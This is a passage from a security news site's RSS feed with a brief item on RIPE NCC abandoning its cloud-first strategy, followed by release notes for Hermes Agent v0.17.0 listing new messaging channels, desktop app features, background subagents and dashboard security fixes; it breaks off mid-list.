<description><![CDATA[RIPE NCC, the regional internet registry serving Europe, the Middle East, and parts of Asia, has abandoned its cloud-first strategy over concerns about geopolitical risk from dependence on US-based cloud providers. This article has been indexed from CyberMaterial Read the…
Read more →
The post RI...]]></description>
<link>https://tsecurity.de/de/3615827/it-security-nachrichten/ripe-abandons-cloud-first-strategy-over-geopolitical-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3615827/it-security-nachrichten/ripe-abandons-cloud-first-strategy-over-geopolitical-risk/</guid>
<pubDate>Mon, 22 Jun 2026 16:54:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>RIPE NCC, the regional internet registry serving Europe, the Middle East, and parts of Asia, has abandoned its cloud-first strategy over concerns about geopolitical risk from dependence on US-based cloud providers. This article has been indexed from CyberMaterial Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ripe-abandons-cloud-first-strategy-over-geopolitical-risk/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ripe-abandons-cloud-first-strategy-over-geopolitical-risk/">RIPE abandons cloud-first strategy over geopolitical risk</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)]]></title>
<description><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)
Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about ho...]]></description>
<link>https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</guid>
<pubDate>Fri, 19 Jun 2026 21:46:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.17.0 (v2026.6.19)</h1>
<p><strong>Release Date:</strong> June 19, 2026<br>
<strong>Since v0.16.0:</strong> ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors</p>
<blockquote>
<p><strong>The Reach Release.</strong> v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the <code>memory</code> tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.</p>
</blockquote>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes reaches iMessage — Photon Spectrum, no Mac relay required</strong> — There's now an iMessage platform plugin built on Photon's managed line pool. Run <code>hermes photon login</code>, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Raft — Hermes joins the Raft agent network as a gateway channel</strong> — A new bundled Raft platform adapter lets Hermes connect to <a href="https://raft.build/" rel="nofollow">Raft</a> as an external agent through a wake-channel bridge. Set <code>RAFT_PROFILE</code>, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (<a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A substantially more capable desktop app</strong> — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent <strong>watch-windows</strong> that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install <strong>any VS Code Marketplace theme</strong> directly into the app. The desktop is now a serious daily driver, not a preview. (<a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Background / async subagents — delegate work and keep going</strong> — <code>delegate_task(background=true)</code> now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (<a href="https://github.com/NousResearch/hermes-agent/pull/40946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40946/hovercard">#40946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46968/hovercard">#46968</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Edit images, not just generate them — image-to-image in <code>image_generate</code></strong> — <code>image_generate</code> can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as <code>video_generate</code>), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Automation Blueprints — schedule things without learning cron</strong> — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no <code>slot=value</code> typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing <code>0 8 * * *</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Cursor's Composer model, through your xAI Grok subscription</strong> — <code>grok-composer-2.5-fast</code> is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (<a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#6f89e17</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Full profile builder in the dashboard</strong> — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing <code>config.yaml</code>. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Skills Hub browser rehaul</strong> — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The <code>memory</code> tool got a major upgrade — atomic batch operations</strong> — The <code>memory</code> tool gained an <code>operations</code> array that applies a batch of add/replace/remove edits <strong>atomically against the final character budget</strong>. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Secure dashboard login</strong> — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a <code>public_url</code> override is silently rejected. Exposing your dashboard to the network is safer by default. (<a href="https://github.com/NousResearch/hermes-agent/pull/42578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42578/hovercard">#42578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43214/hovercard">#42578</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Official WhatsApp Business Cloud API adapter</strong> — Alongside the existing Baileys bridge, Hermes now speaks the <strong>official</strong> WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Rich text for Telegram — Bot API 10.1 rich messages</strong> — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45953/hovercard">#45953</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Curator cost optimization — no aux-model spend on routine runs</strong> — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (<code>curator.consolidate: true</code> or <code>hermes curator run --consolidate</code>). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you <strong>zero tokens</strong>. (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>New surfaces &amp; UX</h3>
<ul>
<li>Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (<a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42480/hovercard">#42480</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47985/hovercard">#47985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Live subagent <strong>watch-windows</strong> — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44630/hovercard">#44630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43219/hovercard">#43219</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46951/hovercard">#46951</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from <code>hermes model</code> in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (<a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40563/hovercard">#40563</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49080/hovercard">#49080</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40286/hovercard">#40286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Install <strong>any VS Code Marketplace theme</strong>; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (<a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42286/hovercard">#42286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45086/hovercard">#45086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40708/hovercard">#40708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/42521" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42521/hovercard">#42521</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43111/hovercard">#43111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45273/hovercard">#45273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41670/hovercard">#41670</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41751/hovercard">#41751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (<a href="https://github.com/NousResearch/hermes-agent/pull/40234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40234/hovercard">#40234</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44864/hovercard">#44864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45263/hovercard">#45263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40684/hovercard">#40684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop pets — pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/47938" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47938/hovercard">#47938</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; <code>/browser connect</code> on a local gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/41232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41232/hovercard">#41232</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40559" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40559/hovercard">#40559</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40355/hovercard">#40355</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41666" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41666/hovercard">#41666</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47245/hovercard">#47245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Japanese + Traditional Chinese language switching (<a href="https://github.com/NousResearch/hermes-agent/pull/40114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40114/hovercard">#40114</a>)</li>
<li>"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (<a href="https://github.com/NousResearch/hermes-agent/pull/49094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49094/hovercard">#49094</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li><strong>Remote media relay</strong> — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via <code>file.attach</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41336" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41336/hovercard">#41336</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42634/hovercard">#42634</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (<a href="https://github.com/NousResearch/hermes-agent/pull/42181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42181/hovercard">#42181</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44326" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44326/hovercard">#44326</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47011/hovercard">#47011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41350/hovercard">#41350</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (<a href="https://github.com/NousResearch/hermes-agent/pull/44529" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44529/hovercard">#44529</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42613/hovercard">#42613</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41103/hovercard">#41103</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41120/hovercard">#41120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41182/hovercard">#41182</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 